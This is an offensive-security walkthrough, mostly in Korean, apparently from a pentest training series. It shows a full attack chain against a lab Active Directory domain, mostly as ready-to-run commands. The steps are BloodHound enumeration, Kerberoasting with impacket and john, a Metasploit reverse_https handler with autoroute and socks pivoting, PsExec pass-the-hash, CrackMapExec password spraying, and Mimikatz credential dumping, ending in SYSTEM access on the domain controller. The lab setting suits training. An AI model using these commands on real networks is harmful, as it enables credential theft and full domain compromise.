Hacking Windows Domain Active Directory Series - Episode 02
Hacking Windows Domain Active Directory Series - Episode 02
In this document, the following attack scenarios were covered:
- BloodHound/SharpHound Execution and Analysis
- Kerberoasting - Identifying and Executing the Attack
- Dumping local Windows account credentials via hashdump
- Password Spraying attack with CrackMapExec CME across the entire Windows domain environment
- Network Pivoting with Metasploit/Meterpreter autoroute, socks_proxy, and also proxychains to support external toolings
- Lateral Movement with PsExec, including passing the hash (NTLM)
- Credentials dumping with Meterpreter Kiwi module (Mimikatz)
1. 테스트 환경 준비와 BloodHound
dc 에서 다음의 명령어로 계정을 만들자.
net group sqltestgroup /domain /add
net user sqladmin mypassword2@ /domain /add
net group "sqltestgroup" sqladmin /domain /add
setspn -A sqladmin/rts.local:1443 sqladmin
이때 포트 번호는 임의값으로 설정할수 있다.
윈도우 10 (192.168.10.140) cmd 에서 SharpHound를 실행하자.
Import-Module .\SharpHound.ps1
powershell -executionpolicy bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
칼리 BloodHound 에서 20230927001227_BloodHound.zip 파일을 업로드 하자.
이번 시나리오 에서 emily는 윈도우 10 (192.168.10.140)에 대한 로컬 관리자 권한이 없다.
Analysis > List all Kerberoastable Accounts 를 클릭 하면 커버로스 계정 sqladmin을 확인할수 있다.
sqladmin은 윈도우 10 (192.168.10.140)의 로컬 관리자 이다.
net localgroup Administrators
2. meterpreter lateral movement
칼리 meterpreter proxy server 를 실행하자.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.50.9
set lport 8443
exploit -j
세션이 연결되면 아래 명령어를 이어서 실행하자.
search autoroute
use post/multi/manage/autoroute
show options
set SESSION 세션번호
run
search socks
use auxiliary/server/socks_proxy
show options
run
3. Kerberoasting
칼리에서 다음 명령어로 커버로스 계정 sqladmin 에 대한 ticket을 얻어오자.
find / -name GetUserSPNs.py 2>/dev/null
proxychains python /usr/share/doc/python3-impacket/examples/GetUserSPNs.py rts.local/emily -dc-ip 10.0.2.7 -outputfile hash.emily.txt
hash.emily.txt 파일이 생성된 것을 확인할수 있다.
실제 테스트 에서는 서버 접속은 되나 hash.emily.txt 파일이 생성되지 않았다.
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.emily.txt
패스워드 mypassword2@ 가 출력 되었다.
확인해 보자.
crackmapexec smb 192.168.50.11 -u sqladmin -p mypassword2@
윈도우 10 (192.168.10.140) 에 관리자 권한으로 로그인 되는 것을 확인할수 있다.
이제 칼리 meterpreter 에서 psexec를 실행하자.
use exploit/windows/smb/psexec
show options
set payload windows/x64/meterpreter/bind_tcp
show options
set RHOST 192.168.50.11
set SMBUser sqladmin
set SMBDomain rts.local
set SMBPass mypassword2@
run
시스템 권한으로 세션 (session 2) 이 연결 됬다.
이제 윈도우 10 (192.168.10.140)에 대한 두 개의 세션이 생성됬다.
sessions -i 2
hashdump
Administrator 해쉬값을 복사하자.
crackmapexec smb 192.168.50.11 -u Administrator -H 해쉬값 -d .
관리자 권한으로 연결되는 것을 확인할수 있다.
4. 비밀번호 스프레이 공격
targets.txt 파일을 만들어서 비밀번호 스프레이 공격을 시도하자.
192.168.50.11
10.0.2.15
10.0.2.7
proxychains crackmapexec smb targets.txt -u Administrator -H 해쉬값 -d .
개발 서버 (10.0.2.15)에 관리자 권한으로 접속 되는 것을 확인할수 있다.
5. 개발서버 접속
칼리 meterpreter 에서 psexec 를 이용해서 개발 서버에 접속하자.
set SMBDomain .
set SMBUser Administrator
set SMBPass aad3c435b514a4eeaad3b935b51304fe:해쉬값
set RHOSTS 10.0.2.15
run
개발 서버에 시스템 권한으로 접속 했다.
load kiwi
kiwi_cmd "privilege::debug"
kiwi_cmd "sekurlsa::logonPasswords"
덤프한 내용을 보면 bross 계정을 확인할수 있다.
6. DC 접속
다시 meterpreter 에서 다음 명령어를 입력하자.
set SMBDomain rts.local
set SMBUser bross
set SMBPass aad3c435b514a4eeaad3b935b51304fe:해쉬값
set RHOSTS 10.0.2.7
run
dc에 시스템 권한으로 접속했다.